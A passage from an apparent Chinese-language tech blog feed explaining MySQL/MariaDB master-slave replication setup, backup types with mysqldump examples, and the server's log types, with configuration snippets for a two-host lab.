<content type="html"><![CDATA[<h3 id="原理"><a href="#原理" class="headerlink" title="原理"></a>原理</h3><p>mysql复制是指从一个mysql服务器(MASTER)将数据通过日志的方式经过网络传送到另一台或多台mysql服务器(SLAVE)，然后在slave上重放(replay或redo)传送过来的日志，以达到和master数据同步的目的。</p><a id="more"></a><p>它的工作原理很简单。首先确保master数据库上开启了二进制日志，这是复制的前提。</p><ul><li>在slave准备开始复制时，首先要执行change master to语句设置连接到master服务器的连接参数，在执行该语句的时候要提供一些信息，包括如何连接和要从哪复制binlog，这些信息在连接的时候会记录到slave的datadir下的master.info文件中，以后再连接master的时候将不用再提供这新信息而是直接读取该文件进行连接。</li><li>在slave上有两种线程，分别是IO线程和SQL线程<ul><li>IO线程用于连接master，监控和接受master的binlog。当启动IO线程成功连接master时，master会同时启动一个dump线程，该线程将slave请求要复制的binlog给dump出来，之后IO线程负责监控并接收master上dump出来的二进制日志，当master上binlog有变化的时候，IO线程就将其复制过来并写入到自己的中继日志(relay log)文件中。</li><li>slave上的另一个线程SQL线程用于监控、读取并重放relay log中的日志，将数据写入到自己的数据库中。</li></ul></li></ul><p>从复制的机制上可以知道，在复制进行前，slave上必须具有master上部分完整内容作为复制基准数据。例如，master上有数据库A，二进制日志已经写到了pos1位置，那么在复制进行前，slave上必须要有数据库A，且如果要从pos1位置开始复制的话，还必须有和master上pos1之前完全一致的数据。如果不满足这样的一致性条件，那么在replay中继日志的时候将不知道如何进行应用而导致数据混乱。也就是说，复制是基于binlog的position进行的，复制之前必须保证position一致。</p><h3 id="分类"><a href="#分类" class="headerlink" title="分类"></a>分类</h3><h4 id="同步复制"><a href="#同步复制" class="headerlink" title="同步复制"></a>同步复制</h4><p>客户端发送DDL/DML语句给master，master执行完毕后还需要等待所有的slave都写完了relay log才认为此次DDL/DML成功，然后才会返回成功信息给客户端。同步复制的问题是master必须等待，所以延迟较大，在MySQL中不使用这种复制方式。</p><h4 id="半同复制"><a href="#半同复制" class="headerlink" title="半同复制"></a>半同复制</h4><p>客户端发送DDL/DML语句给master，master执行完毕后还要等待一个slave写完relay log并返回确认信息给master，master才认为此次DDL/DML语句是成功的，然后才会发送成功信息给客户端。半同步复制只需等待一个slave的回应，且等待的超时时间可以设置，超时后会自动降级为异步复制，所以在局域网内(网络延迟很小)使用半同步复制是可行的。</p><h4 id="异步复制"><a href="#异步复制" class="headerlink" title="异步复制"></a>异步复制</h4><p>客户端发送DDL/DML语句给master，master执行完毕立即返回成功信息给客户端，而不管slave是否已经开始复制。这样的复制方式导致的问题是，当master写完了binlog，而slave还没有开始复制或者复制还没完成时，slave上和master上的数据暂时不一致，且此时master突然宕机，slave将会丢失一部分数据。如果此时把slave提升为新的master，那么整个数据库就永久丢失这部分数据。</p><h3 id="配置"><a href="#配置" class="headerlink" title="配置"></a>配置</h3><ol><li>为master和slave设定不同的server-id，这是主从复制结构中非常关键的标识号。到了MySQL 5.7，似乎不设置server id就无法开启binlog。设置server id需要重启MySQL实例。</li><li>开启master的binlog。刚安装并初始化的MySQL默认未开启binlog，建议手动设置binlog且为其设定文件名，否则默认以主机名为基名时修改主机名后会找不到日志文件。</li><li>最好设置master上的变量sync_binlog=1(MySQL 5.7.7之后默认为1，之前的版本默认为0)，这样每写一次二进制日志都将其刷新到磁盘，让slave服务器可以尽快地复制。防止万一master的二进制日志还在缓存中就宕机时，slave无法复制这部分丢失的数据。</li><li>最好设置master上的redo log的刷盘变量innodb_flush_log_at_trx_commit=1(默认值为1)，这样每次提交事务都会立即将事务刷盘保证持久性和一致性。</li><li>在slave上开启中继日志relay log。这个是默认开启的，同样建议手动设置其文件名。</li><li>建议在master上专门创建一个用于复制的用户，它只需要有复制权限replication slave用来读取binlog。</li><li>确保slave上的数据和master上的数据在”复制的起始position之前”是完全一致的。如果master和slave上数据不一致，复制会失败。</li><li>记下master开始复制前binlog的position，因为在slave连接master时需要指定从master的哪个position开始复制。</li><li>考虑是否将slave设置为只读，也就是开启read_only选项。这种情况下，除了具有super权限(mysql 5.7.16还提供了super_read_only禁止super的写操作)和SQL线程能写数据库，其他用户都不能进行写操作。这种禁写对于slave来说，绝大多数场景都非常适合。</li></ol><h4 id="一主一从"><a href="#一主一从" class="headerlink" title="一主一从"></a>一主一从</h4><p>主：192.168.163.132</p><p>从：192.168.163.135</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#slave配置</span></span><br><span class="line">[server]</span><br><span class="line">log_bin=mysql-bin</span><br><span class="line">relay-log=slave-bin</span><br><span class="line">server-id=111</span><br><span class="line"></span><br><span class="line"><span class="comment">#master配置</span></span><br><span class="line">[server]</span><br><span class="line">log_bin=master-bin</span><br><span class="line">sync-binlog=1</span><br><span class="line">server-id=100</span><br><span class="line"></span><br><span class="line"><span class="comment">#master创建用于复制的用户，并授予复制权限</span></span><br><span class="line">create user <span class="string">'repl'</span>@<span class="string">'192.168.163.%'</span> identified by <span class="string">'dqy751421'</span>;</span><br><span class="line">grant REPLICATION SLAVE on *.* to <span class="string">'repl'</span>@<span class="string">'192.168.163.%'</span>;</span><br></pre></td></tr></table></figure><h5 id="备份数据"><a href="#备份数据" class="headerlink" title="备份数据"></a>备份数据</h5><p>如果待复制的master上已有数据，那么先要将这些数据备份到slave上，并获取master上的二进制日志的当前坐标，从而使得slave重做relay log时不会出错。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br></pre></td><td class="code"><pre><span class="line">#创建master数据</span><br><span class="line">DROP DATABASE IF EXISTS backuptest;</span><br><span class="line">CREATE DATABASE backuptest;</span><br><span class="line">USE backuptest;</span><br><span class="line"></span><br><span class="line"># 创建myisam类型的数值辅助表和插入数据的存储过程</span><br><span class="line">CREATE TABLE num_isam (n INT NOT NULL PRIMARY KEY) ENGINE = MYISAM ;</span><br><span class="line"></span><br><span class="line">DROP PROCEDURE IF EXISTS proc_num1;</span><br><span class="line">DELIMITER $$</span><br><span class="line">CREATE PROCEDURE proc_num1 (num INT) </span><br><span class="line">BEGIN</span><br><span class="line"> DECLARE rn INT DEFAULT 1 ;</span><br><span class="line"> TRUNCATE TABLE backuptest.num_isam ;</span><br><span class="line"> INSERT INTO backuptest.num_isam VALUES(1) ;</span><br><span class="line"> dd: WHILE rn * 2 < num DO </span><br><span class="line"> BEGIN</span><br><span class="line"> INSERT INTO backuptest.num_isam </span><br><span class="line"> SELECT rn + n FROM backuptest.num_isam;</span><br><span class="line"> SET rn = rn * 2 ;</span><br><span class="line"> END ;</span><br><span class="line"> END WHILE dd;</span><br><span class="line"> INSERT INTO backuptest.num_isam </span><br><span class="line"> SELECT n + rn </span><br><span class="line"> FROM backuptest.num_isam </span><br><span class="line"> WHERE n + rn <= num;</span><br><span class="line">END ;</span><br><span class="line">$$</span><br><span class="line">DELIMITER ;</span><br><span class="line"></span><br><span class="line"># 创建innodb类型的数值辅助表和插入数据的存储过程</span><br><span class="line">CREATE TABLE num_innodb (n INT NOT NULL PRIMARY KEY) ENGINE = INNODB ;</span><br><span class="line"></span><br><span class="line">DROP PROCEDURE IF EXISTS proc_num2;</span><br><span class="line">DELIMITER $$</span><br><span class="line">CREATE PROCEDURE proc_num2 (num INT) </span><br><span class="line">BEGIN</span><br><span class="line"> DECLARE rn INT DEFAULT 1 ;</span><br><span class="line"> TRUNCATE TABLE backuptest.num_innodb ;</span><br><span class="line"> INSERT INTO backuptest.num_innodb VALUES(1) ;</span><br><span class="line"> dd: WHILE rn * 2 < num DO </span><br><span class="line"> BEGIN</span><br><span class="line"> INSERT INTO backuptest.num_innodb </span><br><span class="line"> SELECT rn + n FROM backuptest.num_innodb;</span><br><span class="line"> SET rn = rn * 2 ;</span><br><span class="line"> END ;</span><br><span class="line"> END WHILE dd;</span><br><span class="line"> INSERT INTO backuptest.num_innodb </span><br><span class="line"> SELECT n + rn </span><br><span class="line"> FROM backuptest.num_innodb </span><br><span class="line"> WHERE n + rn <= num ;</span><br><span class="line">END ;</span><br><span class="line">$$</span><br><span class="line">DELIMITER ;</span><br><span class="line"></span><br><span class="line"># 分别向两个数值辅助表中插入100W条数据</span><br><span class="line">CALL proc_num1 (1000000) ;</span><br><span class="line">CALL proc_num2 (1000000) ;</span><br></pre></td></tr></table></figure><p>获取当前position位置，为了安全起见先锁表，此时无法进行commit操作</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">#锁表</span><br><span class="line">flush tables with read lock;</span><br><span class="line"></span><br><span class="line">#查看二进制日志的position位置</span><br><span class="line">show master status;</span><br><span class="line">+-------------------+----------+--------------+------------------+</span><br><span class="line">| File | Position | Binlog_Do_DB | Binlog_Ignore_DB |</span><br><span class="line">+-------------------+----------+--------------+------------------+</span><br><span class="line">| master-bin.000001 | 14872 | | |</span><br><span class="line">+-------------------+----------+--------------+------------------+</span><br></pre></td></tr></table></figure><p>备份数据</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">mysqldump --all-databases --single-transaction --master-data=2 >dump.db</span><br><span class="line"></span><br><span class="line"><span class="comment">#查看大小</span></span><br><span class="line">ls -lh dump.db </span><br><span class="line">-rw-r--r-- 1 root root 22M Feb 23 03:02 dump.db</span><br><span class="line"></span><br><span class="line"><span class="comment">#查看对应二进制日志坐标，即上文查看的坐标</span></span><br><span class="line">grep -i -m 1 <span class="string">'change master to'</span> dump.db</span><br></pre></td></tr></table></figure><p>在slave上导入</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#复制</span></span><br><span class="line">ansible 192.168.163.135 -m copy -a <span class="string">'src=./dump.db dest=/root/dump.db'</span></span><br><span class="line"><span class="comment">#导入</span></span><br><span class="line">mysql<dump.db</span><br></pre></td></tr></table></figure><h5 id="slave开启复制"><a href="#slave开启复制" class="headerlink" title="slave开启复制"></a>slave开启复制</h5><p>在slave端执行指向master，需要配置如下数据</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">#从未连接过master需要配置如下</span><br><span class="line">change master to</span><br><span class="line"> -> master_host='192.168.163.132',</span><br><span class="line"> -> master_port=3306,</span><br><span class="line"> -> master_user='repl',</span><br><span class="line"> -> master_password='dqy751421',</span><br><span class="line"> -> master_log_file='master-bin.000001',# 指明需要复制的binlog文件</span><br><span class="line"> -> master_log_pos=14872;# 指明binlog的position</span><br><span class="line"> </span><br><span class="line">#该指令执行后会在数据库目录创建两个文件master.info和relay-log.info</span><br><span class="line">master.info文件记录的是IO线程相关的信息，也就是连接master以及读取master binlog的信息。通过这个文件，下次连接master时就不需要再提供连接选项。</span><br><span class="line">relay-log.info文件中记录的是SQL线程相关的信息</span><br></pre></td></tr></table></figure><p>启动两个进程后便正常开始主从复制。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">#一次性启动/关闭</span><br><span class="line">start slave/stop;</span><br><span class="line">#分开启动</span><br><span class="line">start slave io_thread;</span><br><span class="line">start slave sql_thread;</span><br></pre></td></tr></table></figure><p>master.info文件</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">18<span class="comment"># 本文件的行数</span></span><br><span class="line">master-bin.000001<span class="comment"># IO线程正从哪个master binlog读取日志</span></span><br><span class="line">15366<span class="comment"># IO线程读取到master binlog的位置</span></span><br><span class="line">192.168.163.132<span class="comment"># master_host</span></span><br><span class="line">repl<span class="comment"># master_user</span></span><br><span class="line">dqy751421<span class="comment"># master_password</span></span><br><span class="line">3306<span class="comment"># master_port</span></span><br><span class="line">60<span class="comment"># slave重连master的超时时长</span></span><br><span class="line">0</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">0</span><br><span class="line">1800.000</span><br><span class="line"></span><br><span class="line">0</span><br></pre></td></tr></table></figure><p>relay-log.info文件</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">./slave-bin.000002<span class="comment"># 当前SQL线程正在读取的relay-log文件</span></span><br><span class="line">1024<span class="comment"># SQL线程已执行到的relay log位置</span></span><br><span class="line">master-bin.000001<span class="comment"># SQL线程最近执行的操作对应的是哪个master binlog</span></span><br><span class="line">15366<span class="comment"># SQL线程最近执行的操作对应的是master binlog的哪个位置</span></span><br></pre></td></tr></table></figure><p>查看slave状态</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">show slave status\G;</span><br></pre></td></tr></table></figure>]]></content>
<summary type="html">
<h3 id="原理"><a href="#原理" class="headerlink" title="原理"></a>原理</h3><p>mysql复制是指从一个mysql服务器(MASTER)将数据通过日志的方式经过网络传送到另一台或多台mysql服务器(SLAVE)，然后在slave上重放(replay或redo)传送过来的日志，以达到和master数据同步的目的。</p>
</summary>
<category term="mariadb" scheme="http://yoursite.com/categories/mariadb/"/>
<category term="mysql" scheme="http://yoursite.com/tags/mysql/"/>
<category term="mariadb" scheme="http://yoursite.com/tags/mariadb/"/>
</entry>
<entry>
<title>mariadb-备份</title>
<link href="http://yoursite.com/2020/02/23/mariadb-%E5%A4%87%E4%BB%BD/"/>
<id>http://yoursite.com/2020/02/23/mariadb-%E5%A4%87%E4%BB%BD/</id>
<published>2020-02-23T08:40:51.000Z</published>
<updated>2020-02-23T08:42:26.611Z</updated>
<content type="html"><![CDATA[<h3 id="概念"><a href="#概念" class="headerlink" title="概念"></a>概念</h3><p>完全备份：备份整个数据集合</p><p>增量备份：仅备份最近一次完全备份或增量备份以来变化的数据</p><p>差异备份：仅备份最近一次完全备份以来变化的数据</p><a id="more"></a><p>热备份：备份过程中读写操作均可执行</p><p>温备份：读操作可执行，但写操作不能执行</p><p>冷备份：读写操作均不可执行</p><p>物理备份：直接复制数据文件进行备份，还原快，但是占空间大</p><p>逻辑备份：从数据库中“导出”数据另存而进行的备份，即导出sql语句，与存储引擎无关，还原慢但是占空间小</p><h3 id="备份工具"><a href="#备份工具" class="headerlink" title="备份工具"></a>备份工具</h3><p>mysqldump：逻辑备份工具，适用于所有存储引擎，支持温备、完全备份、部分备份；对InnoDB存储引擎支持热备</p><p>cp，tar：物理备份工具，复制归档工具，适用于所有存储引擎，只支持冷备、完全备份、部分备份</p><p>lvm2快照：几乎热备(需要锁拍快照)，借助于文件系统管理工具进行备份</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">FLUSH TABLES WITH READ LOCK;</span><br></pre></td></tr></table></figure><p>mysqlhotcopy：几乎冷备，仅适用于MyISAM存储引擎</p><p>xtrabackup：支持InnoDB热备(物理备份)，支持完全备份、增量备份</p><h3 id="逻辑备份"><a href="#逻辑备份" class="headerlink" title="逻辑备份"></a>逻辑备份</h3><p>该备份方式会将schema和数据存储在一起，这样会导致巨大的SQL语句，会形成巨大的单个备份文件。</p><h4 id="mysqldump"><a href="#mysqldump" class="headerlink" title="mysqldump"></a>mysqldump</h4><p>连接至mysql服务器后通过全量扫描进行备份。</p><p>mysqldump备份innodb表时因为要加–single-transaction，会自动将隔离级别设置为repeatable read并开启一个事务，这时mysqldump将获取dump执行前一刻的行版本，并处于一个长事务中直到dump结束。所以不影响目标数据库的使用，可读也可写，即实现的是热备。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#备份数据库下的所有表，不包含数据库自身</span></span><br><span class="line">mysqldump [option] db_name [tbl_name...]</span><br><span class="line"><span class="comment">#备份指定数据库，包含数据库自身和其内的所有表</span></span><br><span class="line">mysqldump [option] --databases db_name...</span><br><span class="line"><span class="comment">#备份所有库，同上</span></span><br><span class="line">mysqldump [option] --all-databases</span><br><span class="line"></span><br><span class="line"><span class="comment">#其他option</span></span><br><span class="line">-E,--events：备份指定数据库相关的所有event schedule</span><br><span class="line">-R,--routines：备份指定数据库相关的所有存储过程和存储函数</span><br><span class="line">--triggers：备份表相关的触发器</span><br></pre></td></tr></table></figure><p>对于MyISAM引擎来说，只支持温备；需要锁定备份库后启动备份操作。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#锁定方法</span></span><br><span class="line">-x,--lock-all-tables：锁定所有库的所有表</span><br><span class="line">-l,--lock-tables：锁定指定数据库的所有表</span><br></pre></td></tr></table></figure><p>对于InnoDB来说，支持热备，但只支持比较小的数据库备份</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">--single-transaction：启动单个巨大事务来备份</span><br><span class="line">--master-data=2：热备的那个一刻，二进制日志处于的位置，并备份出来用CHANGE MASTER TO语句标记，2是备份时候自动注释掉，恢复时候不被执行；</span><br><span class="line">1：记录为CHANGE MASTER TO语句，此语句不被注释；</span><br><span class="line">2：记录为CHANGE MASTER TO语句，此语句被注释；</span><br><span class="line">--flush-logs：锁定表完成后，即进行日志滚动操作，备份时候，重新生成一个二进制日志文件用于备份恢复；</span><br></pre></td></tr></table></figure><h4 id="实例"><a href="#实例" class="headerlink" title="实例"></a>实例</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#热备hellodb数据库示例，使用mysqldump+二进制日志完成全量+增量备份</span></span><br><span class="line">mysqldump -uroot -pxxx --single-transaction -R -E --triggers --master-data=2 --flush-logs --databases hellodb > /root/hellodb-fullback-$(date +%F).sql</span><br><span class="line"><span class="comment">#热备所有数据库</span></span><br><span class="line">mysqldump -uroot -pxxx --single-transaction -R -E --triggers --master-data=2 --flush-logs --all-databases > /root/alldb-fullback-$(date +%F).sql</span><br><span class="line"><span class="comment">#查看二进制日志位置</span></span><br><span class="line">less /root/alldb-fullback-2018-10-24.sql</span><br><span class="line">.......MASTER_LOG_FILE=<span class="string">'master-log.000001'</span>,MASTER_LOG_POS=245;</span><br><span class="line"><span class="comment">#备份恢复</span></span><br><span class="line">cp alldb-fullback-2018-10-24.sql /tmp/ <span class="comment">#拷贝备份文件</span></span><br><span class="line">cp master-log.000001 /root <span class="comment">#拷贝二进制日志文件</span></span><br><span class="line">mysqlbinlog master-log.000001 <span class="comment">#读取二进制日志文件</span></span><br><span class="line">mysqlbinlog master-log.000001 > /tmp/binlog.sql <span class="comment">#把读的结果重定向到指定目录下</span></span><br><span class="line"><span class="comment">#进入数据库</span></span><br><span class="line">mysql </span><br><span class="line"> SET @@session.sql_log_bin=OFF; <span class="comment">#关闭二进制日志</span></span><br><span class="line">\ ./alldb-fullback-2018-10-24.sql <span class="comment">#读取备份文件恢复数据库</span></span><br><span class="line">\ ./binlog.sql <span class="comment">#读取二进制文件生成的备份文件恢复数据库</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#注意</span></span><br><span class="line">dump前会滚动二进制日志，这样只需要备份新的二进制日志即可</span><br></pre></td></tr></table></figure><h3 id="物理备份"><a href="#物理备份" class="headerlink" title="物理备份"></a>物理备份</h3><h4 id="xtrabackup"><a href="#xtrabackup" class="headerlink" title="xtrabackup"></a>xtrabackup</h4><p>待完善</p>]]></content>
<summary type="html">
<h3 id="概念"><a href="#概念" class="headerlink" title="概念"></a>概念</h3><p>完全备份：备份整个数据集合</p>
<p>增量备份：仅备份最近一次完全备份或增量备份以来变化的数据</p>
<p>差异备份：仅备份最近一次完全备份以来变化的数据</p>
</summary>
<category term="mariadb" scheme="http://yoursite.com/categories/mariadb/"/>
<category term="mysql" scheme="http://yoursite.com/tags/mysql/"/>
<category term="mariadb" scheme="http://yoursite.com/tags/mariadb/"/>
</entry>
<entry>
<title>mariadb-日志</title>
<link href="http://yoursite.com/2020/02/23/mariadb-%E6%97%A5%E5%BF%97/"/>
<id>http://yoursite.com/2020/02/23/mariadb-%E6%97%A5%E5%BF%97/</id>
<published>2020-02-23T08:40:25.000Z</published>
<updated>2020-02-23T08:42:10.223Z</updated>
<content type="html"><![CDATA[<h3 id="分类"><a href="#分类" class="headerlink" title="分类"></a>分类</h3><p>查询日志：query log</p><p>慢查询日志：slow query log</p><p>错误日志：error log</p><a id="more"></a><p>二进制日志：binary log</p><p>中继日志：relay log</p><p>事务日志：transaction log</p><h3 id="查询日志"><a href="#查询日志" class="headerlink" title="查询日志"></a>查询日志</h3><p>记录查询操作，可以记录在文件中，也可以记录在数据库表当中。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">#查找log参数变量</span><br><span class="line">show global variables like '%log%';</span><br><span class="line">#是否开启查询日志，一般不开启，压力太大</span><br><span class="line">general_log=ON|OFF</span><br><span class="line">#以文件为记录时的文件名，一般为主机名</span><br><span class="line">general_log_file=HOSTNAME.log</span><br><span class="line">#日志输出格式，可以为文件或表</span><br><span class="line">log_output=TABLE|FILE|NONE</span><br></pre></td></tr></table></figure><h3 id="慢查询日志"><a href="#慢查询日志" class="headerlink" title="慢查询日志"></a>慢查询日志</h3><p>执行时长超出指定时长的查询操作。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">#查找指定时长变量</span><br><span class="line">show global variables like 'long_query_time';</span><br><span class="line">#可以select来查询该变量</span><br><span class="line">select @@global.long_query_time;</span><br><span class="line"></span><br><span class="line">#查找log参数变量</span><br><span class="line">show global variables like '%log%';</span><br><span class="line">#是否开启慢查询日志</span><br><span class="line">slow_query_log=ON|OFF</span><br><span class="line">#慢查询日志存放位置</span><br><span class="line">slow_query_log_file=HOSTNAME-slow.log</span><br><span class="line">#慢查询日志记录速率</span><br><span class="line">log_slow_rate_limit=1</span><br><span class="line">#慢查询日志记录级别</span><br><span class="line">log_slow_verbosity</span><br><span class="line"></span><br><span class="line">#注意</span><br><span class="line">使用select时，@@表示查询全局变量，@表示查询用户变量</span><br></pre></td></tr></table></figure><h3 id="错误日志"><a href="#错误日志" class="headerlink" title="错误日志"></a>错误日志</h3><p>mysqld启动和关闭过程中输出的事件信息；mysqld运行中产生的错误信息；event scheduler运行一个event时产生的日志信息；在主从复制架构中的从服务器上启动从服务器线程时产生的日志</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">#查找log参数变量</span><br><span class="line">show global variables like '%log%';</span><br><span class="line">#存放路径</span><br><span class="line">log_error=/var/log/mariadb/mariadb.log</span><br><span class="line">#是否记录警告信息至错误日志中</span><br><span class="line">log_warning=1|0</span><br></pre></td></tr></table></figure><h3 id="二进制日志"><a href="#二进制日志" class="headerlink" title="二进制日志"></a>二进制日志</h3><p>导致数据改变或可能导致数据改变的SQL语句。通过”重放“日志文件中的事件来生成数据副本。</p><p>对于事务表的操作，二进制日志只在事务提交的时候一次性写入(基于事务的innodb二进制日志)，提交前的每个二进制日志记录都先cache，提交时写入。对于非事务表的操作，每次执行完语句就直接写入。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">#显示已使用的二进制文件日志</span><br><span class="line">show mysql logs;</span><br><span class="line">#查看正在使用中的二进制日志文件</span><br><span class="line">show master status;</span><br><span class="line">#查看日志</span><br><span class="line">show binlog events [in 'log_name'] [from pos] [limit [offset,] row_count];</span><br><span class="line"></span><br><span class="line">#查找log参数变量</span><br><span class="line">show global variables like '%log%';</span><br><span class="line">#是否启用二进制日志</span><br><span class="line">log_bin=ON|OFF</span><br><span class="line">sql_logbin=ON|OFF</span><br><span class="line">#记录文件位置，通常为OFF，使用滚动方式记录</span><br><span class="line">log_bin=/PATH/TO/file</span><br><span class="line">#二进制日志格式</span><br><span class="line">binlog_format=STATEMENT|ROW|MIXED</span><br><span class="line">#单个二进制文件最大值，默认为1G；到达最大值后会自动滚动</span><br><span class="line">max_binlog_size=1073741824</span><br><span class="line">#日志过期时长，0为不启用</span><br><span class="line">expire_logs_days=0</span><br><span class="line">#设置是否启用二进制日志同步功能，即事务提交时同步到磁盘</span><br><span class="line">sync_binlog=1|0</span><br></pre></td></tr></table></figure><h4 id="记录格式"><a href="#记录格式" class="headerlink" title="记录格式"></a>记录格式</h4><p>基于“语句”记录：statement</p><p>基于“行”记录：row</p><p>混合模式：mixed，让系统自行判定基于哪种方式</p><h4 id="日志构成"><a href="#日志构成" class="headerlink" title="日志构成"></a>日志构成</h4><p>日志文件：mysql-bin.文件名后缀，二进制格式</p><p>索引文件：mysql-bin.index，文本格式，表示哪些二进制日志在使用</p><h4 id="命令"><a href="#命令" class="headerlink" title="命令"></a>命令</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#查询二进制日志的命令工具</span></span><br><span 